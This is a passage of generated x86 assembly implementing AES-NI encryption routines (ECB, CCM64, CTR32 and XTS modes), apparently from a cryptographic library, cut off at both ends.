xmm2,[esi] movups [16+edi],xmm3 movdqu xmm3,[16+esi] movups [32+edi],xmm4 movdqu xmm4,[32+esi] movups [48+edi],xmm5 movdqu xmm5,[48+esi] movups [64+edi],xmm6 movdqu xmm6,[64+esi] movups [80+edi],xmm7 lea edi,[96+edi] movdqu xmm7,[80+esi] lea esi,[96+esi] L$019ecb_dec_loop6_enter: call __aesni_decrypt6 mov edx,ebp mov ecx,ebx sub eax,96 jnc NEAR L$020ecb_dec_loop6 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 movups [64+edi],xmm6 movups [80+edi],xmm7 lea edi,[96+edi] add eax,96 jz NEAR L$008ecb_ret L$018ecb_dec_tail: movups xmm2,[esi] cmp eax,32 jb NEAR L$021ecb_dec_one movups xmm3,[16+esi] je NEAR L$022ecb_dec_two movups xmm4,[32+esi] cmp eax,64 jb NEAR L$023ecb_dec_three movups xmm5,[48+esi] je NEAR L$024ecb_dec_four movups xmm6,[64+esi] xorps xmm7,xmm7 call __aesni_decrypt6 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 movups [64+edi],xmm6 jmp NEAR L$008ecb_ret align 16 L$021ecb_dec_one: movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$025dec1_loop_4: db 102,15,56,222,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$025dec1_loop_4 db 102,15,56,223,209 movups [edi],xmm2 jmp NEAR L$008ecb_ret align 16 L$022ecb_dec_two: xorps xmm4,xmm4 call __aesni_decrypt3 movups [edi],xmm2 movups [16+edi],xmm3 jmp NEAR L$008ecb_ret align 16 L$023ecb_dec_three: call __aesni_decrypt3 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 jmp NEAR L$008ecb_ret align 16 L$024ecb_dec_four: call __aesni_decrypt4 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 L$008ecb_ret: pop edi pop esi pop ebx pop ebp ret global _aesni_ccm64_encrypt_blocks align 16 _aesni_ccm64_encrypt_blocks: L$_aesni_ccm64_encrypt_blocks_begin: push ebp push ebx push esi push edi mov esi,DWORD [20+esp] mov edi,DWORD [24+esp] mov eax,DWORD [28+esp] mov edx,DWORD [32+esp] mov ebx,DWORD [36+esp] mov ecx,DWORD [40+esp] mov ebp,esp sub esp,60 and esp,-16 mov DWORD [48+esp],ebp movdqu xmm7,[ebx] movdqu xmm3,[ecx] mov ecx,DWORD [240+edx] mov DWORD [esp],202182159 mov DWORD [4+esp],134810123 mov DWORD [8+esp],67438087 mov DWORD [12+esp],66051 mov ebx,1 xor ebp,ebp mov DWORD [16+esp],ebx mov DWORD [20+esp],ebp mov DWORD [24+esp],ebp mov DWORD [28+esp],ebp shr ecx,1 lea ebp,[edx] movdqa xmm5,[esp] movdqa xmm2,xmm7 mov ebx,ecx db 102,15,56,0,253 L$026ccm64_enc_outer: movups xmm0,[ebp] mov ecx,ebx movups xmm6,[esi] xorps xmm2,xmm0 movups xmm1,[16+ebp] xorps xmm0,xmm6 lea edx,[32+ebp] xorps xmm3,xmm0 movups xmm0,[edx] L$027ccm64_enc2_loop: db 102,15,56,220,209 dec ecx db 102,15,56,220,217 movups xmm1,[16+edx] db 102,15,56,220,208 lea edx,[32+edx] db 102,15,56,220,216 movups xmm0,[edx] jnz NEAR L$027ccm64_enc2_loop db 102,15,56,220,209 db 102,15,56,220,217 paddq xmm7,[16+esp] db 102,15,56,221,208 db 102,15,56,221,216 dec eax lea esi,[16+esi] xorps xmm6,xmm2 movdqa xmm2,xmm7 movups [edi],xmm6 lea edi,[16+edi] db 102,15,56,0,213 jnz NEAR L$026ccm64_enc_outer mov esp,DWORD [48+esp] mov edi,DWORD [40+esp] movups [edi],xmm3 pop edi pop esi pop ebx pop ebp ret global _aesni_ccm64_decrypt_blocks align 16 _aesni_ccm64_decrypt_blocks: L$_aesni_ccm64_decrypt_blocks_begin: push ebp push ebx push esi push edi mov esi,DWORD [20+esp] mov edi,DWORD [24+esp] mov eax,DWORD [28+esp] mov edx,DWORD [32+esp] mov ebx,DWORD [36+esp] mov ecx,DWORD [40+esp] mov ebp,esp sub esp,60 and esp,-16 mov DWORD [48+esp],ebp movdqu xmm7,[ebx] movdqu xmm3,[ecx] mov ecx,DWORD [240+edx] mov DWORD [esp],202182159 mov DWORD [4+esp],134810123 mov DWORD [8+esp],67438087 mov DWORD [12+esp],66051 mov ebx,1 xor ebp,ebp mov DWORD [16+esp],ebx mov DWORD [20+esp],ebp mov DWORD [24+esp],ebp mov DWORD [28+esp],ebp movdqa xmm5,[esp] movdqa xmm2,xmm7 mov ebp,edx mov ebx,ecx db 102,15,56,0,253 movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$028enc1_loop_5: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$028enc1_loop_5 db 102,15,56,221,209 movups xmm6,[esi] paddq xmm7,[16+esp] lea esi,[16+esi] jmp NEAR L$029ccm64_dec_outer align 16 L$029ccm64_dec_outer: xorps xmm6,xmm2 movdqa xmm2,xmm7 mov ecx,ebx movups [edi],xmm6 lea edi,[16+edi] db 102,15,56,0,213 sub eax,1 jz NEAR L$030ccm64_dec_break movups xmm0,[ebp] shr ecx,1 movups xmm1,[16+ebp] xorps xmm6,xmm0 lea edx,[32+ebp] xorps xmm2,xmm0 xorps xmm3,xmm6 movups xmm0,[edx] L$031ccm64_dec2_loop: db 102,15,56,220,209 dec ecx db 102,15,56,220,217 movups xmm1,[16+edx] db 102,15,56,220,208 lea edx,[32+edx] db 102,15,56,220,216 movups xmm0,[edx] jnz NEAR L$031ccm64_dec2_loop movups xmm6,[esi] paddq xmm7,[16+esp] db 102,15,56,220,209 db 102,15,56,220,217 lea esi,[16+esi] db 102,15,56,221,208 db 102,15,56,221,216 jmp NEAR L$029ccm64_dec_outer align 16 L$030ccm64_dec_break: mov edx,ebp movups xmm0,[edx] movups xmm1,[16+edx] xorps xmm6,xmm0 lea edx,[32+edx] xorps xmm3,xmm6 L$032enc1_loop_6: db 102,15,56,220,217 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$032enc1_loop_6 db 102,15,56,221,217 mov esp,DWORD [48+esp] mov edi,DWORD [40+esp] movups [edi],xmm3 pop edi pop esi pop ebx pop ebp ret global _aesni_ctr32_encrypt_blocks align 16 _aesni_ctr32_encrypt_blocks: L$_aesni_ctr32_encrypt_blocks_begin: push ebp push ebx push esi push edi mov esi,DWORD [20+esp] mov edi,DWORD [24+esp] mov eax,DWORD [28+esp] mov edx,DWORD [32+esp] mov ebx,DWORD [36+esp] mov ebp,esp sub esp,88 and esp,-16 mov DWORD [80+esp],ebp cmp eax,1 je NEAR L$033ctr32_one_shortcut movdqu xmm7,[ebx] mov DWORD [esp],202182159 mov DWORD [4+esp],134810123 mov DWORD [8+esp],67438087 mov DWORD [12+esp],66051 mov ecx,6 xor ebp,ebp mov DWORD [16+esp],ecx mov DWORD [20+esp],ecx mov DWORD [24+esp],ecx mov DWORD [28+esp],ebp db 102,15,58,22,251,3 db 102,15,58,34,253,3 mov ecx,DWORD [240+edx] bswap ebx pxor xmm1,xmm1 pxor xmm0,xmm0 movdqa xmm2,[esp] db 102,15,58,34,203,0 lea ebp,[3+ebx] db 102,15,58,34,197,0 inc ebx db 102,15,58,34,203,1 inc ebp db 102,15,58,34,197,1 inc ebx db 102,15,58,34,203,2 inc ebp db 102,15,58,34,197,2 movdqa [48+esp],xmm1 db 102,15,56,0,202 movdqa [64+esp],xmm0 db 102,15,56,0,194 pshufd xmm2,xmm1,192 pshufd xmm3,xmm1,128 cmp eax,6 jb NEAR L$034ctr32_tail movdqa [32+esp],xmm7 shr ecx,1 mov ebp,edx mov ebx,ecx sub eax,6 jmp NEAR L$035ctr32_loop6 align 16 L$035ctr32_loop6: pshufd xmm4,xmm1,64 movdqa xmm1,[32+esp] pshufd xmm5,xmm0,192 por xmm2,xmm1 pshufd xmm6,xmm0,128 por xmm3,xmm1 pshufd xmm7,xmm0,64 por xmm4,xmm1 por xmm5,xmm1 por xmm6,xmm1 por xmm7,xmm1 movups xmm0,[ebp] movups xmm1,[16+ebp] lea edx,[32+ebp] dec ecx pxor xmm2,xmm0 pxor xmm3,xmm0 db 102,15,56,220,209 pxor xmm4,xmm0 db 102,15,56,220,217 pxor xmm5,xmm0 db 102,15,56,220,225 pxor xmm6,xmm0 db 102,15,56,220,233 pxor xmm7,xmm0 db 102,15,56,220,241 movups xmm0,[edx] db 102,15,56,220,249 call L$_aesni_encrypt6_enter movups xmm1,[esi] movups xmm0,[16+esi] xorps xmm2,xmm1 movups xmm1,[32+esi] xorps xmm3,xmm0 movups [edi],xmm2 movdqa xmm0,[16+esp] xorps xmm4,xmm1 movdqa xmm1,[48+esp] movups [16+edi],xmm3 movups [32+edi],xmm4 paddd xmm1,xmm0 paddd xmm0,[64+esp] movdqa xmm2,[esp] movups xmm3,[48+esi] movups xmm4,[64+esi] xorps xmm5,xmm3 movups xmm3,[80+esi] lea esi,[96+esi] movdqa [48+esp],xmm1 db 102,15,56,0,202 xorps xmm6,xmm4 movups [48+edi],xmm5 xorps xmm7,xmm3 movdqa [64+esp],xmm0 db 102,15,56,0,194 movups [64+edi],xmm6 pshufd xmm2,xmm1,192 movups [80+edi],xmm7 lea edi,[96+edi] mov ecx,ebx pshufd xmm3,xmm1,128 sub eax,6 jnc NEAR L$035ctr32_loop6 add eax,6 jz NEAR L$036ctr32_ret mov edx,ebp lea ecx,[1+ecx*2] movdqa xmm7,[32+esp] L$034ctr32_tail: por xmm2,xmm7 cmp eax,2 jb NEAR L$037ctr32_one pshufd xmm4,xmm1,64 por xmm3,xmm7 je NEAR L$038ctr32_two pshufd xmm5,xmm0,192 por xmm4,xmm7 cmp eax,4 jb NEAR L$039ctr32_three pshufd xmm6,xmm0,128 por xmm5,xmm7 je NEAR L$040ctr32_four por xmm6,xmm7 call __aesni_encrypt6 movups xmm1,[esi] movups xmm0,[16+esi] xorps xmm2,xmm1 movups xmm1,[32+esi] xorps xmm3,xmm0 movups xmm0,[48+esi] xorps xmm4,xmm1 movups xmm1,[64+esi] xorps xmm5,xmm0 movups [edi],xmm2 xorps xmm6,xmm1 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 movups [64+edi],xmm6 jmp NEAR L$036ctr32_ret align 16 L$033ctr32_one_shortcut: movups xmm2,[ebx] mov ecx,DWORD [240+edx] L$037ctr32_one: movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$041enc1_loop_7: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$041enc1_loop_7 db 102,15,56,221,209 movups xmm6,[esi] xorps xmm6,xmm2 movups [edi],xmm6 jmp NEAR L$036ctr32_ret align 16 L$038ctr32_two: call __aesni_encrypt3 movups xmm5,[esi] movups xmm6,[16+esi] xorps xmm2,xmm5 xorps xmm3,xmm6 movups [edi],xmm2 movups [16+edi],xmm3 jmp NEAR L$036ctr32_ret align 16 L$039ctr32_three: call __aesni_encrypt3 movups xmm5,[esi] movups xmm6,[16+esi] xorps xmm2,xmm5 movups xmm7,[32+esi] xorps xmm3,xmm6 movups [edi],xmm2 xorps xmm4,xmm7 movups [16+edi],xmm3 movups [32+edi],xmm4 jmp NEAR L$036ctr32_ret align 16 L$040ctr32_four: call __aesni_encrypt4 movups xmm6,[esi] movups xmm7,[16+esi] movups xmm1,[32+esi] xorps xmm2,xmm6 movups xmm0,[48+esi] xorps xmm3,xmm7 movups [edi],xmm2 xorps xmm4,xmm1 movups [16+edi],xmm3 xorps xmm5,xmm0 movups [32+edi],xmm4 movups [48+edi],xmm5 L$036ctr32_ret: mov esp,DWORD [80+esp] pop edi pop esi pop ebx pop ebp ret global _aesni_xts_encrypt align 16 _aesni_xts_encrypt: L$_aesni_xts_encrypt_begin: push ebp push ebx push esi push edi mov edx,DWORD [36+esp] mov esi,DWORD [40+esp] mov ecx,DWORD [240+edx] movups xmm2,[esi] movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$042enc1_loop_8: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$042enc1_loop_8 db 102,15,56,221,209 mov esi,DWORD [20+esp] mov edi,DWORD [24+esp] mov eax,DWORD [28+esp] mov edx,DWORD [32+esp] mov ebp,esp sub esp,120 mov ecx,DWORD [240+edx] and esp,-16 mov DWORD [96+esp],135 mov DWORD [100+esp],0 mov DWORD [104+esp],1 mov DWORD [108+esp],0 mov DWORD [112+esp],eax mov DWORD [116+esp],ebp movdqa xmm1,xmm2 pxor xmm0,xmm0 movdqa xmm3,[96+esp] pcmpgtd xmm0,xmm1 and eax,-16 mov ebp,edx mov ebx,ecx sub eax,96 jc NEAR L$043xts_enc_short shr ecx,1 mov ebx,ecx jmp NEAR L$044xts_enc_loop6 align 16 L$044xts_enc_loop6: pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [16+esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [32+esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [48+esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm7,xmm0,19 movdqa [64+esp],xmm1 paddq xmm1,xmm1 movups xmm0,[ebp] pand xmm7,xmm3 movups xmm2,[esi] pxor xmm7,xmm1 movdqu xmm3,[16+esi] xorps xmm2,xmm0 movdqu xmm4,[32+esi] pxor xmm3,xmm0 movdqu xmm5,[48+esi] pxor xmm4,xmm0 movdqu xmm6,[64+esi] pxor xmm5,xmm0 movdqu xmm1,[80+esi] pxor xmm6,xmm0 lea esi,[96+esi] pxor xmm2,[esp] movdqa [80+esp],xmm7 pxor xmm7,xmm1 movups xmm1,[16+ebp] lea edx,[32+ebp] pxor xmm3,[16+esp] db 102,15,56,220,209 pxor xmm4,[32+esp] db 102,15,56,220,217 pxor xmm5,[48+esp] dec ecx db 102,15,56,220,225 pxor xmm6,[64+esp] db 102,15,56,220,233 pxor xmm7,xmm0 db 102,15,56,220,241 movups xmm0,[edx] db 102,15,56,220,249 call L$_aesni_encrypt6_enter movdqa xmm1,[80+esp] pxor xmm0,xmm0 xorps xmm2,[esp] pcmpgtd xmm0,xmm1 xorps xmm3,[16+esp] movups [edi],xmm2 xorps xmm4,[32+esp] movups [16+edi],xmm3 xorps xmm5,[48+esp] movups [32+edi],xmm4 xorps xmm6,[64+esp] movups [48+edi],xmm5 xorps xmm7,xmm1 movups [64+edi],xmm6 pshufd xmm2,xmm0,19 movups [80+edi],xmm7 lea edi,[96+edi] movdqa xmm3,[96+esp] pxor xmm0,xmm0 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 mov ecx,ebx pxor xmm1,xmm2 sub eax,96 jnc NEAR L$044xts_enc_loop6 lea ecx,[1+ecx*2] mov edx,ebp mov ebx,ecx L$043xts_enc_short: add eax,96 jz NEAR L$045xts_enc_done6x movdqa xmm5,xmm1 cmp eax,32 jb NEAR L$046xts_enc_one pshufd xmm2,xmm0,19 pxor xmm0,xmm0 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 je NEAR L$047xts_enc_two pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa xmm6,xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 cmp eax,64 jb NEAR L$048xts_enc_three pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa xmm7,xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 movdqa [esp],xmm5 movdqa [16+esp],xmm6 je NEAR L$049xts_enc_four movdqa [32+esp],xmm7 pshufd xmm7,xmm0,19 movdqa [48+esp],xmm1 paddq xmm1,xmm1 pand xmm7,xmm3 pxor xmm7,xmm1 movdqu xmm2,[esi] movdqu xmm3,[16+esi] movdqu xmm4,[32+esi] pxor xmm2,[esp] movdqu xmm5,[48+esi] pxor xmm3,[16+esp] movdqu xmm6,[64+esi] pxor xmm4,[32+esp] lea esi,[80+esi] pxor xmm5,[48+esp] movdqa [64+esp],xmm7 pxor xmm6,xmm7 call __aesni_encrypt6 movaps xmm1,[64+esp] xorps xmm2,[esp] xorps xmm3,[16+esp] xorps xmm4,[32+esp] movups [edi],xmm2 xorps xmm5,[48+esp] movups [16+edi],xmm3 xorps xmm6,xmm1 movups [32+edi],xmm4 movups [48+edi],xmm5 movups [64+edi],xmm6 lea edi,[80+edi] jmp NEAR L$050xts_enc_done align 16 L$046xts_enc_one: movups xmm2,[esi] lea esi,[16+esi] xorps xmm2,xmm5 movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$051enc1_loop_9: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$051enc1_loop_9 db 102,15,56,221,209 xorps xmm2,xmm5 movups [edi],xmm2 lea edi,[16+edi] movdqa xmm1,xmm5 jmp NEAR L$050xts_enc_done align 16 L$047xts_enc_two: movaps xmm6,xmm1 movups xmm2,[esi] movups xmm3,[16+esi] lea esi,[32+esi] xorps xmm2,xmm5 xorps xmm3,xmm6 xorps xmm4,xmm4 call __aesni_encrypt3 xorps xmm2,xmm5 xorps xmm3,xmm6 movups [edi],xmm2 movups [16+edi],xmm3 lea edi,[32+edi] movdqa xmm1,xmm6 jmp NEAR L$050xts_enc_done align 16 L$048xts_enc_three: movaps xmm7,xmm1 movups xmm2,[esi] movups xmm3,[16+esi] movups xmm4,[32+esi] lea esi,[48+esi] xorps xmm2,xmm5 xorps xmm3,xmm6 xorps xmm4,xmm7 call __aesni_encrypt3 xorps xmm2,xmm5 xorps xmm3,xmm6 xorps xmm4,xmm7 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 lea edi,[48+edi] movdqa xmm1,xmm7 jmp NEAR L$050xts_enc_done align 16 L$049xts_enc_four: movaps xmm6,xmm1 movups xmm2,[esi] movups xmm3,[16+esi] movups xmm4,[32+esi] xorps xmm2,[esp] movups xmm5,[48+esi] lea esi,[64+esi] xorps xmm3,[16+esp] xorps xmm4,xmm7 xorps xmm5,xmm6 call __aesni_encrypt4 xorps xmm2,[esp] xorps xmm3,[16+esp] xorps xmm4,xmm7 movups [edi],xmm2 xorps xmm5,xmm6 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 lea edi,[64+edi] movdqa xmm1,xmm6 jmp NEAR L$050xts_enc_done align 16 L$045xts_enc_done6x: mov eax,DWORD [112+esp] and eax,15 jz NEAR L$052xts_enc_ret movdqa xmm5,xmm1 mov DWORD [112+esp],eax jmp NEAR L$053xts_enc_steal align 16 L$050xts_enc_done: mov eax,DWORD [112+esp] pxor xmm0,xmm0 and eax,15 jz NEAR L$052xts_enc_ret pcmpgtd xmm0,xmm1 mov DWORD [112+esp],eax pshufd xmm5,xmm0,19 paddq xmm1,xmm1 pand xmm5,[96+esp] pxor xmm5,xmm1 L$053xts_enc_steal: movzx ecx,BYTE [esi] movzx edx,BYTE [edi-16] lea esi,[1+esi] mov BYTE [edi-16],cl mov BYTE [edi],dl lea edi,[1+edi] sub eax,1 jnz NEAR L$053xts_enc_steal sub edi,DWORD [112+esp] mov edx,ebp mov ecx,ebx movups xmm2,[edi-16] xorps xmm2,xmm5 movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$054enc1_loop_10: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$054enc1_loop_10 db 102,15,56,221,209 xorps xmm2,xmm5 movups [edi-16],xmm2 L$052xts_enc_ret: mov esp,DWORD [116+esp] pop edi pop esi pop ebx pop ebp ret global _aesni_xts_decrypt align 16 _aesni_xts_decrypt: L$_aesni_xts_decrypt_begin: push ebp push ebx push esi push edi mov edx,DWORD [36+esp] mov esi,DWORD [40+esp] mov ecx,DWORD [240+edx] movups xmm2,[esi] movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$055enc1_loop_11: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$055enc1_loop_11 db 102,15,56,221,209 mov esi,DWORD [20+esp] mov edi,DWORD [24+esp] mov eax,DWORD [28+esp] mov edx,DWORD [32+esp] mov ebp,esp sub esp,120 and esp,-16 xor ebx,ebx test eax,15 setnz bl shl ebx,4 sub eax,ebx mov DWORD [96+esp],135 mov DWORD [100+esp],0 mov DWORD [104+esp],1 mov DWORD [108+esp],0 mov DWORD [112+esp],eax mov DWORD [116+esp],ebp mov ecx,DWORD [240+edx] mov ebp,edx mov ebx,ecx movdqa xmm1,xmm2 pxor xmm0,xmm0 movdqa xmm3,[96+esp] pcmpgtd xmm0,xmm1 and eax,-16 sub eax,96 jc NEAR L$056xts_dec_short shr ecx,1 mov ebx,ecx jmp NEAR L$057xts_dec_loop6 align 16 L$057xts_dec_loop6: pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [16+esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [32+esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa [48+esp],xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 pshufd xmm7,xmm0,19 movdqa [64+esp],xmm1 paddq xmm1,xmm1 movups xmm0,[ebp] pand xmm7,xmm3 movups xmm2,[esi] pxor xmm7,xmm1 movdqu xmm3,[16+esi] xorps xmm2,xmm0 movdqu xmm4,[32+esi] pxor xmm3,xmm0 movdqu xmm5,[48+esi] pxor xmm4,xmm0 movdqu xmm6,[64+esi] pxor xmm5,xmm0 movdqu xmm1,[80+esi] pxor xmm6,xmm0 lea esi,[96+esi] pxor xmm2,[esp] movdqa [80+esp],xmm7 pxor xmm7,xmm1 movups xmm1,[16+ebp] lea edx,[32+ebp] pxor xmm3,[16+esp] db 102,15,56,222,209 pxor xmm4,[32+esp] db 102,15,56,222,217 pxor xmm5,[48+esp] dec ecx db 102,15,56,222,225 pxor xmm6,[64+esp] db 102,15,56,222,233 pxor xmm7,xmm0 db 102,15,56,222,241 movups xmm0,[edx] db 102,15,56,222,249 call L$_aesni_decrypt6_enter movdqa xmm1,[80+esp] pxor xmm0,xmm0 xorps xmm2,[esp] pcmpgtd xmm0,xmm1 xorps xmm3,[16+esp] movups [edi],xmm2 xorps xmm4,[32+esp] movups [16+edi],xmm3 xorps xmm5,[48+esp] movups [32+edi],xmm4 xorps xmm6,[64+esp] movups [48+edi],xmm5 xorps xmm7,xmm1 movups [64+edi],xmm6 pshufd xmm2,xmm0,19 movups [80+edi],xmm7 lea edi,[96+edi] movdqa xmm3,[96+esp] pxor xmm0,xmm0 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 mov ecx,ebx pxor xmm1,xmm2 sub eax,96 jnc NEAR L$057xts_dec_loop6 lea ecx,[1+ecx*2] mov edx,ebp mov ebx,ecx L$056xts_dec_short: add eax,96 jz NEAR L$058xts_dec_done6x movdqa xmm5,xmm1 cmp eax,32 jb NEAR L$059xts_dec_one pshufd xmm2,xmm0,19 pxor xmm0,xmm0 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 je NEAR L$060xts_dec_two pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa xmm6,xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 cmp eax,64 jb NEAR L$061xts_dec_three pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa xmm7,xmm1 paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 movdqa [esp],xmm5 movdqa [16+esp],xmm6 je NEAR L$062xts_dec_four movdqa [32+esp],xmm7 pshufd xmm7,xmm0,19 movdqa [48+esp],xmm1 paddq xmm1,xmm1 pand xmm7,xmm3 pxor xmm7,xmm1 movdqu xmm2,[esi] movdqu xmm3,[16+esi] movdqu xmm4,[32+esi] pxor xmm2,[esp] movdqu xmm5,[48+esi] pxor xmm3,[16+esp] movdqu xmm6,[64+esi] pxor xmm4,[32+esp] lea esi,[80+esi] pxor xmm5,[48+esp] movdqa [64+esp],xmm7 pxor xmm6,xmm7 call __aesni_decrypt6 movaps xmm1,[64+esp] xorps xmm2,[esp] xorps xmm3,[16+esp] xorps xmm4,[32+esp] movups [edi],xmm2 xorps xmm5,[48+esp] movups [16+edi],xmm3 xorps xmm6,xmm1 movups [32+edi],xmm4 movups [48+edi],xmm5 movups [64+edi],xmm6 lea edi,[80+edi] jmp NEAR L$063xts_dec_done align 16 L$059xts_dec_one: movups xmm2,[esi] lea esi,[16+esi] xorps xmm2,xmm5 movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$064dec1_loop_12: db 102,15,56,222,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$064dec1_loop_12 db 102,15,56,223,209 xorps xmm2,xmm5 movups [edi],xmm2 lea edi,[16+edi] movdqa xmm1,xmm5 jmp NEAR L$063xts_dec_done align 16 L$060xts_dec_two: movaps xmm6,xmm1 movups xmm2,[esi] movups xmm3,[16+esi] lea esi,[32+esi] xorps xmm2,xmm5 xorps xmm3,xmm6 call __aesni_decrypt3 xorps xmm2,xmm5 xorps xmm3,xmm6 movups [edi],xmm2 movups [16+edi],xmm3 lea edi,[32+edi] movdqa xmm1,xmm6 jmp NEAR L$063xts_dec_done align 16 L$061xts_dec_three: movaps xmm7,xmm1 movups xmm2,[esi] movups xmm3,[16+esi] movups xmm4,[32+esi] lea esi,[48+esi] xorps xmm2,xmm5 xorps xmm3,xmm6 xorps xmm4,xmm7 call __aesni_decrypt3 xorps xmm2,xmm5 xorps xmm3,xmm6 xorps xmm4,xmm7 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 lea edi,[48+edi] movdqa xmm1,xmm7 jmp NEAR L$063xts_dec_done align 16 L$062xts_dec_four: movaps xmm6,xmm1 movups xmm2,[esi] movups xmm3,[16+esi] movups xmm4,[32+esi] xorps xmm2,[esp] movups xmm5,[48+esi] lea esi,[64+esi] xorps xmm3,[16+esp] xorps xmm4,xmm7 xorps xmm5,xmm6 call __aesni_decrypt4 xorps xmm2,[esp] xorps xmm3,[16+esp] xorps xmm4,xmm7 movups [edi],xmm2 xorps xmm5,xmm6 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 lea edi,[64+edi] movdqa xmm1,xmm6 jmp NEAR L$063xts_dec_done align 16 L$058xts_dec_done6x: mov eax,DWORD [112+esp] and eax,15 jz NEAR L$065xts_dec_ret mov DWORD [112+esp],eax jmp NEAR L$066xts_dec_only_one_more align 16 L$063xts_dec_done: mov eax,DWORD [112+esp] pxor xmm0,xmm0 and eax,15 jz NEAR L$065xts_dec_ret pcmpgtd xmm0,xmm1 mov DWORD [112+esp],eax pshufd xmm2,xmm0,19 pxor xmm0,xmm0 movdqa xmm3,[96+esp] paddq xmm1,xmm1 pand xmm2,xmm3 pcmpgtd xmm0,xmm1 pxor xmm1,xmm2 L$066xts_dec_only_one_more: pshufd xmm5,xmm0,19 movdqa xmm6,xmm1 paddq xmm1,xmm1 pand xmm5,xmm3 pxor xmm5,xmm1 mov edx,ebp mov ecx,ebx movups xmm2,[esi] xorps xmm2,xmm5 movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$067dec1_loop_13: db 102,15,56,222,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$067dec1_loop_13 db 102,15,56,223,209 xorps xmm2,xmm5 movups [edi],xmm2 L$068xts_dec_steal: movzx ecx,BYTE [16+esi] movzx edx,BYTE [edi] lea esi,[1+esi] mov BYTE [edi],cl mov BYTE [16+edi],dl lea edi,[1+edi] sub eax,1 jnz NEAR L$068xts_dec_steal sub edi,DWORD [112+esp] mov edx,ebp mov ecx,ebx movups xmm2,[edi] xorps xmm2,xmm6 movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$069dec1_loop_14: db 102,15,56,222,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$069dec1_loop_14 db 